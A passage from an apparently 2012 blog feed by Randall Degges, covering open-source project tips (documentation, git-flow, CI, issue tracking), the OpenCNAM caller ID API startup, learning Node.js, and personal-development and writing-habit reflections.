&lt;p>&lt;strong>How to properly install your project.&lt;/strong> Ideally, your project should be
installable via a common (simplistic) method: PyPI for Python, PEAR for PHP,
CPAN for Perl, RubyGems for Ruby, etc.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>A quickstart guide which walks new users through building a working
application.&lt;/strong> This piece is critically important, as it will determine
what new users think of your project. Having a good quickstart guide shows
users that you care for them, and ensures that both you (as a maintainer)
and your users have a good understanding of your project.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>A topic guide explaining specific components not referenced in the
quickstart guide.&lt;/strong> This should include extra bits of information, code
samples, and topic-specific documentation. For example, if your project
provides a simple IRC bot library, you may want to put documentation on
managing multiple server connections here (as that information is probably
too in-depth for a quickstart guide).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>How to contribute to your project.&lt;/strong> This section should include (in
detail):&lt;/p>
&lt;ul>
&lt;li>How to check out your project&amp;rsquo;s source code.&lt;/li>
&lt;li>Which branch to use for development.&lt;/li>
&lt;li>What style rules to follow when adding code.&lt;/li>
&lt;li>How to run all of the project&amp;rsquo;s unit tests, integration tests, etc.&lt;/li>
&lt;li>An example work flow.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Where to get help.&lt;/strong> If your user is stuck, and can&amp;rsquo;t figure something
out&amp;ndash;where should they go for help? A mailing list? A forum? An IRC
channel? A personal email account?&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Having good official documentation is probably the single most important thing
you can do (as a maintainer) to ensure the long-term success of your project.
Good documentation encourages new users to use your code, encourages
contributors to contribute to your project, and gives you a positive reputation
in the developer community.&lt;/p>
&lt;p>Some things to take note of:&lt;/p>
&lt;ul>
&lt;li>A wiki does NOT qualify as official documentation. If possible, avoid
wikis entirely. Having a wiki gives off a bad impression to new (and
existing) users.&lt;/li>
&lt;li>If you have a very small project (such as a simple command line utility
with a single purpose), it is ok to combine your quickstart guide with your
topic guide.&lt;/li>
&lt;li>If you have a small project, use GitHub&amp;rsquo;s new &lt;a href="https://github.com/blog/1081-instantly-beautiful-project-pages" title="GitHub Project Page Generator Documentation">project page generator&lt;/a>:
to host your documentation.&lt;/li>
&lt;li>If you have a project with any sort of real complexity, use
&lt;a href="https://readthedocs.org/" title="Read the Docs">http://readthedocs.org/&lt;/a> to host your documentation. Read the Docs
provides free documentation hosting, with a lot of useful features,
including:
&lt;ul>
&lt;li>A beautiful default theme (with many other themes to choose from).&lt;/li>
&lt;li>GitHub hooks to automatically build your documentation whenever your
project is updated.&lt;/li>
&lt;li>The ability to generated PDF downloads for your documentation.&lt;/li>
&lt;li>The ability to support multiple versions of documentation for your
project (v0.1, v0.2, etc&amp;hellip;).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="2-use-git-flow">2. Use Git Flow&lt;/h3>
&lt;p>&lt;a href="https://github.com/nvie/gitflow" title="git-flow">git-flow&lt;/a> is a popular Git branching model (and add-on) that provides a
simple way to work with stable projects. The idea of git-flow is that each
project should have two branches at all times: a &lt;code>master&lt;/code> branch which always
contains stable, production-ready code&amp;ndash;and a &lt;code>develop&lt;/code> branch which contains
the latest development code.&lt;/p>
&lt;p>Using git-flow should encourage:&lt;/p>
&lt;ul>
&lt;li>The master branch to only receive updates when there is a new (stable)
release of your application (or library) ready.&lt;/li>
&lt;li>The develop branch to receive all updates from you (as the project
maintainer), and your fellow core contributors.&lt;/li>
&lt;/ul>
&lt;p>By agreeing upon a stable Git branching model, you can ensure your users are
never confused as to:&lt;/p>
&lt;ul>
&lt;li>Which branch to use in production.&lt;/li>
&lt;li>Which branch to use for development.&lt;/li>
&lt;li>Where to submit their pull requests.&lt;/li>
&lt;/ul>
&lt;p>To learn more about git-flow, read the following posts (in order):&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://jeffkreeftmeijer.com/2010/why-arent-you-using-git-flow/" title="Why Aren't You Using Git Flow?">http://jeffkreeftmeijer.com/2010/why-arent-you-using-git-flow/&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://nvie.com/posts/a-successful-git-branching-model/" title="A Successful Git Branching Model">http://nvie.com/posts/a-successful-git-branching-model/&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://buildamodule.com/video/change-management-and-version-control-deploying-releases-features-and-fixes-with-git-how-to-use-a-scalable-git-branching-model-called-gitflow" title="A Video Introduction to Git Flow">http://buildamodule.com/video/change-management-and-version-control-deploying-releases-features-and-fixes-with-git-how-to-use-a-scalable-git-branching-model-called-gitflow&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://codesherpas.com/screencasts/on_the_path_gitflow.mov" title="On the Path to Git Flow">http://codesherpas.com/screencasts/on_the_path_gitflow.mov&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="3-publish-test-runs">3. Publish Test Runs&lt;/h3>
&lt;p>If you don&amp;rsquo;t write tests for your code, &lt;a href="http://www.codinghorror.com/blog/2006/07/i-pity-the-fool-who-doesnt-write-unit-tests.html" title="WRITE UNIT TESTS, FUCK!">read this&lt;/a> before you go any
further.  As I&amp;rsquo;m sure you know, tests are essentially worthless if they aren&amp;rsquo;t
ran&amp;ndash;after all, what&amp;rsquo;s the point of having tests if nobody cares about them?&lt;/p>
&lt;p>For open source projects, simply running your tests isn&amp;rsquo;t enough. In addition
to running your tests, you also need to publicize your test results so that
your users and contributors know what the status of your test suite is.&lt;/p>
&lt;p>While this is not commonly practiced&amp;ndash;publicizing test builds is a great way to:&lt;/p>
&lt;ul>
&lt;li>Inspire confidence in your code base.&lt;/li>
&lt;li>Ensure that all code submissions adhere to a certain level of quality (and
don&amp;rsquo;t cause breakage).&lt;/li>
&lt;li>Make errors transparent, so that things can get fixed quicker.&lt;/li>
&lt;li>Make your tests more valuable, as people will see them and instantly know
that testing is important in your project.&lt;/li>
&lt;/ul>
&lt;p>If possible, you should always attempt to use &lt;a href="https://travis-ci.org/" title="Travis CI">Travis CI&lt;/a> to run the tests
for your project. Travis CI is &amp;ldquo;A hosted continuous integration service for
the open source community.&amp;rdquo; At the time of writing, Travis CI supports a wide
array of programming languages, frameworks, databases, caching services, and
many other infrastructure components which allow you to successfully run your
test suite, regardless of its complexity.&lt;/p>
&lt;p>To get started with Travis CI, read their &lt;a href="http://about.travis-ci.org/docs/" title="Travis CI Documentation">official documentation&lt;/a>.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you are using Travis CI to run your project&amp;rsquo;s tests&amp;ndash;make sure you
use their sharing functionality to embed your project&amp;rsquo;s build status in your
official documentation. The recommended way to do this is embed the Travis CI
markdown code into your project&amp;rsquo;s &lt;code>README.md&lt;/code> file, this way GitHub will
display it prominently on your project page.&lt;/p>
&lt;p>If you can&amp;rsquo;t use Travis CI for any reason, you should use &lt;a href="http://jenkins-ci.org/" title="Jenkins">Jenkins&lt;/a>. Jenkins
is a simple continuous integration server that you can easily configure to
build your projects. If you are using Jenkins, be sure to link users (from
your documentation) to your Jenkins web page so they can view your test builds.&lt;/p>
&lt;h3 id="4-use-github-issues">4. Use GitHub Issues&lt;/h3>
&lt;p>GitHub issues is the best way to track issues for your project, and you should
encourage your users (and contributors) to use it for:&lt;/p>
&lt;ul>
&lt;li>Feature requests.&lt;/li>
&lt;li>Documenting bugs (or weird behavior).&lt;/li>
&lt;li>Listing TODO entries for development.&lt;/li>
&lt;li>Referencing issues from Git commits.&lt;/li>
&lt;/ul>
&lt;p>Having all of your project&amp;rsquo;s issues in one place makes it easy for users and
contributors to submit problems, comment on other people&amp;rsquo;s problems, find
things to do, and generally keep organized.&lt;/p>
&lt;p>Ensuring your project&amp;rsquo;s issue tracker is always kept up-to-date and well
maintained also strongly encourages new contributors to work on the project, as
they can easily find issues and fix them for you.&lt;/p>
&lt;h2 id="contributors">Contributors&lt;/h2>
&lt;p>Contributing code to open source projects can be difficult, exciting, scary,
and rewarding. This section is aimed at helping you successfully contribute
code to projects you like, while minimizing the odds of failure along the way.&lt;/p>
&lt;p>If you stick to these tips, you can&amp;rsquo;t go wrong. As with the maintainers
section&amp;ndash;the tips below are ordered by importance, and can be followed as a
checklist.&lt;/p>
&lt;h3 id="1-read-the-project-documentation">1. Read the Project Documentation&lt;/h3>
&lt;p>If the project you&amp;rsquo;re attempting to contribute to has any official
documentation, be sure to read all of it before submitting any code. Often
times the code submission you have in mind is already part of the project, and
can be found somewhere in the documentation.&lt;/p>
&lt;p>Reading through the official documentation will also typically give you a good
feel for the project&amp;rsquo;s purpose, scope, and ideals. These are incredibly
important, as possibly the most critical factor in having your code accepted to
a project is that it meshes well with the existing code base. It is highly
unlikely, for instance, that an IRC bot maintainer will accept a pull request
containing code which adds Skype support&amp;ndash;as the project is most likely
focusing entirely on IRC.&lt;/p>
&lt;h3 id="2-look-at-the-issue-tracker">2. Look at the Issue Tracker&lt;/h3>
&lt;p>Before writing your first line of code, be sure to scan through the project&amp;rsquo;s
issue tracker.&lt;/p>
&lt;p>If you are planning on fixing a bug, and you don&amp;rsquo;t see it listed in the issue
tracker yet&amp;ndash;create a new issue for it! The best type of code is code that is
never written. The bug you&amp;rsquo;re attempting to fix may be another problem
unrelated to the project, so filing an issue before submitting code is
typically a good idea as it will save you (and the project maintainer) lots of
time and confusion.&lt;/p>
&lt;p>If you are considering submitting a new feature to the project&amp;ndash;create an
issues for it first, and explain the feature you&amp;rsquo;d like to submit and why you
think it would be useful. This gives the project maintainer the ability to
discuss the feature with you, and figure out what the best way to move forward
is. Often times, having feature discussions before submitting code greatly
increases the chance your code will be accepted, as the maintainer already
expects you to submit code, and has a good idea of what to look for and
inspect.&lt;/p>
&lt;h3 id="3-comply-to-style-guidelines">3. Comply to Style Guidelines&lt;/h3>
&lt;p>Almost every project has a distinct style of code. Whenever you submit code to
a project, be sure that your code complies with the already existing style.&lt;/p>
&lt;p>Not only will writing code in the same style as the project make the code
easier for you to understand&amp;ndash;it will make it easier for the project maintainer
to review, accept, and publish!&lt;/p>
&lt;p>Regardless of whether or not you like the style of the existing code base,
complying with the author&amp;rsquo;s style guidelines makes everyone happier as all the
code will be uniform, easier to scan through, easier to debug, and easier to
maintain over time.&lt;/p>
&lt;h3 id="4-unsure-ask">4. Unsure? Ask!&lt;/h3>
&lt;p>If you&amp;rsquo;re unsure about anything&amp;ndash;whether it be coding style, development work
flow, wording, whatever&amp;ndash;try not to make assumptions, ask!&lt;/p>
&lt;p>Quite possibly the greatest benefit of open source software is that it brings
people together to create amazing things. If you&amp;rsquo;re not sure about something,
have a chat with one of the project maintainers&amp;ndash;they&amp;rsquo;ll most likely be really
happy to talk to you.&lt;/p>
&lt;p>Project maintainers don&amp;rsquo;t want to waste time (theirs or yours), and will
usually be more than happy to explain why something is (or isn&amp;rsquo;t) a good idea.
Discussing questions before submitting code is a great way to make new friends,
learn cool things, and generally enjoy your open source experience a lot more.&lt;/p>
&lt;h2 id="have-fun">Have Fun&lt;/h2>
&lt;p>Maintaining and contributing to open source projects is a lot of fun. There&amp;rsquo;s
nothing quite like the rush you get by creating something entirely new, and
sharing it with the world. Whether you&amp;rsquo;re starting a project or contributing to
one, enjoy your work, meet new people, and have a good time.&lt;/p>
&lt;p>If you ever find yourself in a situation where you aren&amp;rsquo;t having fun, stop what
you&amp;rsquo;re doing immediately and re-think things.&lt;/p>
&lt;p>I hope the guidelines above were useful to you. If you have any questions or
suggestions, please leave a comment and I&amp;rsquo;ll update the post as needed.&lt;/p></description></item><item><title>I'm Working on a Startup</title><link>https://rdegges.com/2012/im-working-on-a-startup/</link><pubDate>Sun, 08 Apr 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/im-working-on-a-startup/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/im-working-on-a-startup/monk-sketch.png" alt="Monk Sketch" title="Monk Sketch">
&lt;/p>
&lt;p>For the past several months, I&amp;rsquo;ve been working with some really great friends
of mine on a startup, &lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a>. As some of you know, I have a lot of
experience doing telephony development: primarily building large back end
systems.&lt;/p>
&lt;p>Since I started hacking telephony code (almost 4 years ago), one thing that has
always bothered me is how hard it is to find (and use) telephony data. As
anyone in the telephony industry will tell you: the industry is huge, old, and
fragmented.&lt;/p>
&lt;p>Even the simplest of all things: getting someone&amp;rsquo;s caller ID name information
given a telephone number is tremendously difficult. The way caller ID works on
the PSTN (public telephone network) is insane. Caller ID information is
fragmented, stored in huge carrier databases, and there is no simple way to
extract the information.&lt;/p>
&lt;p>For programmers (like me), this makes building telephony applications a
nightmare. Frankly, we were tired of jumping through hoops to get simple
caller ID data, and decided to do something about it.&lt;/p>
&lt;h2 id="opencnam---caller-id-made-simple">OpenCNAM - Caller ID Made Simple&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2012/im-working-on-a-startup/opencnam-logo.png" alt="OpenCNAM Logo" title="OpenCNAM Logo">
&lt;/p>
&lt;p>&lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">OpenCNAM&lt;/a> is an API company designed from the ground-up to be as
simple as possible. The main idea is to make getting caller ID information
easy&amp;ndash;&lt;em>really easy&lt;/em>. No more negotiating deals with telco providers and
surfing through endless pages of Google looking for relevant information.&lt;/p>
&lt;p>If you&amp;rsquo;re a programmer looking to use caller ID information in your software,
and you can&amp;rsquo;t get something working within 5 minutes of visiting
&lt;a href="https://www.opencnam.com/" title="OpenCNAM - A Simple Caller ID API">our website&lt;/a>, we&amp;rsquo;ve failed our mission.&lt;/p>
&lt;p>In the spirit of making things as simple as possible, OpenCNAM also has a
generous free tier. That&amp;rsquo;s right. If you&amp;rsquo;re writing an application that does
less than 60 queries per hour, you don&amp;rsquo;t even need an account with us! All you
have to do is hit our API endpoint, and BAM, you get results back. It&amp;rsquo;s that
easy.&lt;/p>
&lt;p>Need to do more than 60 queries per hour? No problem. Once we&amp;rsquo;re out of beta
you&amp;rsquo;ll be able to create an account, add some funds, and pay for exactly what
you use (with automatic volume discounts). &lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;d like to give our beta a try, send an email to
&lt;a href="mailto:support@opencnam.com" title="OpenCNAM Support Email">support@opencnam.com&lt;/a> and we&amp;rsquo;ll get you an API key.&lt;/p>
&lt;p>With 17,717,475 successful queries and counting, OpenCNAM is already taking
off. If you do any telephony development at all, I&amp;rsquo;d love to hear your
feedback.&lt;/p>
&lt;p>Over the coming months, I&amp;rsquo;ll be spending more time writing about my startup
journeys, so be sure to check back!&lt;/p></description></item><item><title>Why I'm Learning Node</title><link>https://rdegges.com/2012/why-im-learning-node/</link><pubDate>Sat, 07 Apr 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/why-im-learning-node/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/why-im-learning-node/ninja-warrior.png" alt="Ninja Warrior" title="Ninja Warrior">
&lt;/p>
&lt;p>As many (if not all) of you know, I&amp;rsquo;m a Python guy. I program every single
day, and most days, that involves using Python.  I write Django code for fun
and profit, and also do a fair amount of &amp;ldquo;raw&amp;rdquo; Python coding (no frameworks).&lt;/p>
&lt;p>Unfortunately, while I do a lot of kick ass back end coding, I don&amp;rsquo;t often get
a chance to practice my front-end kung fu. Since I&amp;rsquo;m fairly knowledgeable
about the back end stuff I work on (telephony services, web services, etc.), it
doesn&amp;rsquo;t often make sense for me to also build the front end code (I&amp;rsquo;m looking
at you: HTML, CSS, Javascript). As a result of this lack of front-end coding
practice, I suck at it.&lt;/p>
&lt;p>I suck at HTML, CSS, and most of all, Javascript.&lt;/p>
&lt;p>Over the past few years, my lack of front end knowledge has really began to
bother me. I enjoy doing full-stack development. I like taking projects from
conception to completion. Something about the creation process resonates
really well with me. What I don&amp;rsquo;t like, however, is feeling crippled when I
have an idea, write the back end for it, and then have to spend months fiddling
around with the front-end to make it look even half decent.&lt;/p>
&lt;p>Since I first started writing websites, Javascript has really changed a lot.
While Javascript used to be a toy language for moving navigation elements on a
page, it&amp;rsquo;s now usable everywhere: server side (nodejs), client side (backbone),
and even in the database (mongo).&lt;/p>
&lt;p>So, after many years of not properly learning Javascript&amp;ndash;I decided to take it
seriously and dive in. My goal is to become a proficient Javascript
programmer, so that I can:&lt;/p>
&lt;ul>
&lt;li>Use some of the new Javascript frameworks and tools that are out there
(node, backbone, knockout, etc.).&lt;/li>
&lt;li>Contribute to Javascript projects that I like.&lt;/li>
&lt;li>Write my own Javascript code (server side and client side) without feeling
like an idiot.&lt;/li>
&lt;li>See what all the fuss is about.&lt;/li>
&lt;/ul>
&lt;p>Since I&amp;rsquo;m already familiar with programming concepts, the first thing I did was
pick up the highly recommended book: &lt;a href="http://www.amazon.com/gp/product/0596517742/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=rdegges-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0596517742" title="Javascript: The Good Parts">Javascript: The Good Parts&lt;/a>. I read
through that a few weeks ago, and subsequently failed to find a good way to
apply my newly found Javascript knowledge to anything practical.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;re an experienced programmer looking to learn Javascript, you
probably can&amp;rsquo;t do any better than reading &lt;a href="http://www.amazon.com/gp/product/0596517742/ref=as_li_ss_tl?ie=UTF8&amp;amp;tag=rdegges-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0596517742" title="Javascript: The Good Parts">Javascript: The Good Parts&lt;/a>.
It&amp;rsquo;s extremely short, concise, and enjoyable to read. Highly recommended.&lt;/p>
&lt;p>To actually practice my newly learned Javascript-fu, I decided to give
&lt;a href="http://nodejs.org/" title="nodejs">nodejs&lt;/a> a try. Since I learn best by writing command line applications
(who actually enjoys reloading their browser to test code?), I figured node
would be a good choice.&lt;/p>
&lt;p>If you aren&amp;rsquo;t familiar with node (why are you reading this?), it&amp;rsquo;s a
server-side Javascript interpreter. That means you can use it just like
Python, ruby, or perl&amp;ndash;directly from the command line (no browser required).
It also comes with an extremely elegant package manager (&lt;a href="http://npmjs.org/" title="npm">npm&lt;/a>), that makes
building and sharing reusable node modules extremely simple.&lt;/p>
&lt;p>After reading so many &lt;a href="http://teddziuba.com/2011/10/node-js-is-cancer.html" title="nodejs is cancer">negative things about nodejs&lt;/a>, I&amp;rsquo;m completely
surprised to report that it is actually pretty damn cool. While I&amp;rsquo;m not
(currently) using it for building websites or anything like that, it really
makes Javascript a lot simpler for people like me: back end developers who want
to learn Javascript without all the barriers to entry (I&amp;rsquo;m looking at you, web
browsers).&lt;/p>
&lt;p>node has a great package manager, tons of extremely awesome modules, a large
developer community, and great documentation. I was able to write my first
reusable nodejs module (&lt;a href="https://github.com/telephonyresearch/node-opencnam" title="node-opencnam">node-opencnam&lt;/a>) in less than 1 hour. That&amp;rsquo;s pretty
insane.&lt;/p>
&lt;p>I went from 0 knowledge of nodejs to a working, publicly available, reusable
module, in less than 60 minutes. Booya.&lt;/p>
&lt;p>After playing around with nodejs a bit, I&amp;rsquo;ve decided to continue learning it.
So far it has been extremely useful in my quest to learn Javascript, and as
I&amp;rsquo;ve continued to build things using it, I&amp;rsquo;ve been slowly getting more and more
familiar with Javascript as a language.&lt;/p>
&lt;p>As I learn more about Javascript, I&amp;rsquo;ll keep you all updated!&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;m going to start reading through the &lt;a href="http://www.nodebeginner.org/" title="Node Beginner">Node Beginner Book&lt;/a> this
weekend. You should check it out.&lt;/p></description></item><item><title>Do Stuff, Have Fun</title><link>https://rdegges.com/2012/do-stuff-have-fun/</link><pubDate>Fri, 23 Mar 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/do-stuff-have-fun/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/do-stuff-have-fun/kangaroos.png" alt="Kangaroos" title="Kangaroos">
&lt;/p>
&lt;p>I&amp;rsquo;ve got a new philosophy&amp;ndash;on life, work, adventures, whatever: do stuff, have
fun.&lt;/p>
&lt;p>Even though I&amp;rsquo;m a very easy going fellow, I tend to spend a lot of time and
energy thinking about things and debating even the smallest decisions with
myself. Over time, this bad habit has built up. Yesterday I was debating with
myself about doing laundry.&lt;/p>
&lt;p>LAUNDRY!&lt;/p>
&lt;p>At the time, I was thinking something along the lines of: &amp;ldquo;Well, I really need
to do some laundry. It&amp;rsquo;s a lovely day outside, and it would be nice to get
outside on the patio and spend some time folding clothes anyway. I should just
go for it.&amp;rdquo;&lt;/p>
&lt;p>But then my thinking really starts to kick in: &amp;ldquo;OH wait. I really need to push
myself to finish this project I&amp;rsquo;m working on. I&amp;rsquo;ve still got about 20 hours of
hacking left to do before I can even think about anything else. And damn. My
car! I&amp;rsquo;ve got to call the shop back again tomorrow and let them know I&amp;rsquo;m
bringing it in. Oh, but I&amp;rsquo;ve got to fill out that form on their website before
they&amp;rsquo;ll call me back.&amp;rdquo;&lt;/p>
&lt;p>That&amp;rsquo;s what flashed through my mind in only a millisecond or so. I can&amp;rsquo;t even
remember all the thousands of other things I was thinking immediately
afterwards&amp;ndash;but the point is: it sucks.&lt;/p>
&lt;p>I don&amp;rsquo;t like making a big deal out of things so small and insignificant. I
consider myself a reasonably logical and intelligent guy&amp;ndash;but sometimes I just
think &amp;ldquo;WOA. I really need to just let go of it all and do the things I want to
do.&amp;rdquo;&lt;/p>
&lt;p>If I want to go for a bike ride, I&amp;rsquo;m going to go for one! If I want to spend
the next 3 hours working on that project that needs to get done, then I&amp;rsquo;ll do
it, and I&amp;rsquo;ll have fun with it.&lt;/p>
&lt;p>I&amp;rsquo;m not going to let myself get carried away with the little things. Life is
way too short for that.&lt;/p>
&lt;p>From now on I&amp;rsquo;m just going to do stuff, and have fun. Forget everything else.&lt;/p></description></item><item><title>Do the Right Thing</title><link>https://rdegges.com/2012/do-the-right-thing/</link><pubDate>Tue, 20 Mar 2012 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/do-the-right-thing/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/do-the-right-thing/dark-angel.png" alt="Dark Angel" title="Dark Angel">
&lt;/p>
&lt;p>While I devote a lot of time, energy, and effort to making myself a better
person&amp;ndash;I sometimes think I make the whole thing too complicated.&lt;/p>
&lt;p>What does &amp;ldquo;personal development&amp;rdquo; even mean, really? The whole concept of
personal development really boils down to this: &lt;strong>do the right thing&lt;/strong>.&lt;/p>
&lt;p>That&amp;rsquo;s it!&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;d like to lose weight. &amp;ldquo;Doing the right thing&amp;rdquo; for you would
simply be eating healthier foods. Similarly, if you&amp;rsquo;d like to become a better
writer&amp;ndash;&amp;ldquo;doing the right thing&amp;rdquo; would mean writing more frequently, reading
more often, and studying the works of those authors whose style you&amp;rsquo;d like to
emulate.&lt;/p>
&lt;p>Imagine if you woke up tomorrow with no memory of who you previously were.
What if the only thing you could remember were the traits you&amp;rsquo;d like to have&amp;hellip;
Let&amp;rsquo;s say:&lt;/p>
&lt;ul>
&lt;li>You&amp;rsquo;d like to be an excellent writer.&lt;/li>
&lt;li>You&amp;rsquo;d like to be large and muscular.&lt;/li>
&lt;li>You&amp;rsquo;d like to be an honest person.&lt;/li>
&lt;li>You&amp;rsquo;d like to help others.&lt;/li>
&lt;/ul>
&lt;p>What would you do? Well, I&amp;rsquo;m assuming that you&amp;rsquo;d:&lt;/p>
&lt;ul>
&lt;li>Start writing frequently and attempt to become a good writer.&lt;/li>
&lt;li>Eat healthy foods and lift heavy weights.&lt;/li>
&lt;li>Be honest with yourself and everyone else.&lt;/li>
&lt;li>Help those people around you who need assistance.&lt;/li>
&lt;/ul>
&lt;p>I mean&amp;ndash;why wouldn&amp;rsquo;t you? You have no memory of anything, and you&amp;rsquo;ve got a
clear picture of the things you want to become. I&amp;rsquo;d even say that you&amp;rsquo;d be
crazy not to pursue those goals!&lt;/p>
&lt;p>When I&amp;rsquo;m struggling with my own personal development, I often remind myself
that progress can be either really simple, or really difficult. The choice is
up to me.&lt;/p>
&lt;p>Over the past few weeks I&amp;rsquo;ve been having a lot of problems mustering up the
energy to make the changes that I&amp;rsquo;d like to make. Sure, I&amp;rsquo;ve been making
progress&amp;ndash;but the progress I&amp;rsquo;ve made has been so small that it&amp;rsquo;s demotivating. &lt;/p>
&lt;p>It&amp;rsquo;s times like these that I like to think of things as simply as possible.&lt;/p>
&lt;p>Do the right thing. Make the right choices. You&amp;rsquo;ve got an ideal that you&amp;rsquo;re
working towards. You know what things you need to do to get there. So do
them.&lt;/p>
&lt;p>If things are hard&amp;ndash;fight for them. If you can&amp;rsquo;t seem to find a way around
your problems, bulldoze through them.&lt;/p>
&lt;p>While simply &amp;ldquo;doing the right thing&amp;rdquo; can be a scary&amp;ndash;it is often times easier
than the alternatives.&lt;/p>
&lt;p>Do the right thing.&lt;/p></description></item><item><title>Writing Habit -- Thoughts (continued)</title><link>https://rdegges.com/2012/writing-habit-thoughts-continued/</link><pubDate>Mon, 05 Mar 2012 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2012/writing-habit-thoughts-continued/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2012/writing-habit-thoughts-continued/old-fashioned-writer-sketch.png" alt="Old Fashioned Writer Sketch" title="Old Fashioned Writer Sketch">
&lt;/p>
&lt;p>For the past two months I&amp;rsquo;ve been &lt;a href="https://rdegges.com/2011/establishing-a-writing-habit/" title="Establishing a Writing Habit">writing&lt;/a> for at least 30 minutes a day.
I&amp;rsquo;d like to quickly reflect on what I&amp;rsquo;ve accomplished so far, and my thoughts
on the process.&lt;/p>
&lt;p>First off, accomplishments&amp;hellip; Since I started this experiment, I&amp;rsquo;ve:&lt;/p>
&lt;ul>
&lt;li>Written 18 new blog posts, and 10 article drafts.&lt;/li>
&lt;li>30 days worth of private journal entries.&lt;/li>
&lt;li>4 chapters of a book I&amp;rsquo;ve been working on.&lt;/li>
&lt;li>API documentation for a startup I co-own.&lt;/li>
&lt;li>Documentation for a handful of projects I work on in my free time.&lt;/li>
&lt;li>Had over 150,000 page views on my website. Crazy.&lt;/li>
&lt;/ul>
&lt;p>Before starting this writing adventure, I never would have guessed I&amp;rsquo;d do all
that. While almost all of it has been an accident&amp;ndash;looking back, I feel pretty
happy with the results. Through the process of writing each day, I&amp;rsquo;ve learned
a lot about writing, communication, and more importantly, myself.&lt;/p>
&lt;h2 id="writing">Writing&lt;/h2>
&lt;p>Writing is all about expression. Probably the most important thing I&amp;rsquo;ve
learned so far is that if you suck at writing then, chances are, you suck at
expressing your ideas and thoughts as well.&lt;/p>
&lt;p>For the longest time, I considered myself a decent writer. In school I easily
passed the AP English writing classes, and had no problem at all cranking out
essay after essay of required writing. When I left school and started working
professionally (which, incidentally, is when I decided to commit to my personal
development at a much higher level), I had a major realization: &lt;strong>I am not a
good writer&lt;/strong>.&lt;/p>
&lt;p>My ability to write on topics that made &lt;strong>me&lt;/strong> excited was almost non-existent.
Sure, I could produce specially crafted five paragraph essays to explain a
piece of literature&amp;ndash;but writing a clear and concise technical article? No
way.&lt;/p>
&lt;p>Even though I love technology and programming, and eagerly wanted to write
about the various things I was working on, and techniques I was learning&amp;ndash;I
simply didn&amp;rsquo;t have the skill set to make it happen. Articles I wrote came out
jumbled, disorganized, and chaotic.&lt;/p>
&lt;p>At the time, I simply thought that if I chose to write whenever I had
inspiration, than I&amp;rsquo;d easily improve my writing skills and become better. But
you know what? It didn&amp;rsquo;t happen.  Not until I decided to actually commit to
writing each day, did I finally make the breakthrough I was looking for.&lt;/p>
&lt;h2 id="a-breakthrough">A Breakthrough&lt;/h2>
&lt;p>By looking at writing as part of my life, as central piece of who I am&amp;ndash;writing
has become so much easier. While I&amp;rsquo;ve mentioned this &lt;a href="https://rdegges.com/2012/writing-habit-complete/" title="Writing Habit -- Complete">before&lt;/a>, I think it
warrants another discussion.&lt;/p>
&lt;p>Previously, I thought of writing as something I should do from time to time.
It always seemed like something extremely useful, but also extremely tedious.
As I would write, I&amp;rsquo;d labor over every sentence in my head, making sure it was
absolutely perfect before writing it down. Sometimes I&amp;rsquo;d sit in front of the
computer for hours staring at my text editor, only to find that I&amp;rsquo;d written
down only two paragraphs of text.&lt;/p>
&lt;p>While I was able to finish pieces after long periods of time&amp;hellip; It just didn&amp;rsquo;t
feel right.&lt;/p>
&lt;p>When I started my writing habit, I knew that I&amp;rsquo;d have to force myself to write
down whatever I was thinking if I wanted to accomplish anything. I knew that
with only 30 minutes a day of writing time, I&amp;rsquo;d have to rapidly jot down my
thoughts, and save the heavy analysis for later if I wanted to actually get
anything done.&lt;/p>
&lt;p>After a few weeks of writing in this manner&amp;ndash;jotting my thoughts down and
really &amp;ldquo;letting loose&amp;rdquo;, I had a realization: &lt;strong>writing is fun&lt;/strong>. While I
enjoyed writing before, the mental effort it took dissuaded me from writing
more frequently. After forcing myself to drop my inhibitions and write freely
(so that I could actually be writing for 30 minutes a day), I realized how fun
writing can be.&lt;/p>
&lt;p>Writing doesn&amp;rsquo;t have to be difficult, it can be as easy as writing what you&amp;rsquo;re
thinking&amp;ndash;as you&amp;rsquo;re thinking it. For me, this was the breakthrough.&lt;/p>
&lt;p>Since I realized that I enjoy writing much more when I&amp;rsquo;m simply dumping my
thoughts onto paper, I&amp;rsquo;ve become extremely attached. The process of writing
each day feels good, and has become a critical part of my daily routine.&lt;/p>
&lt;h2 id="benefits">Benefits&lt;/h2>
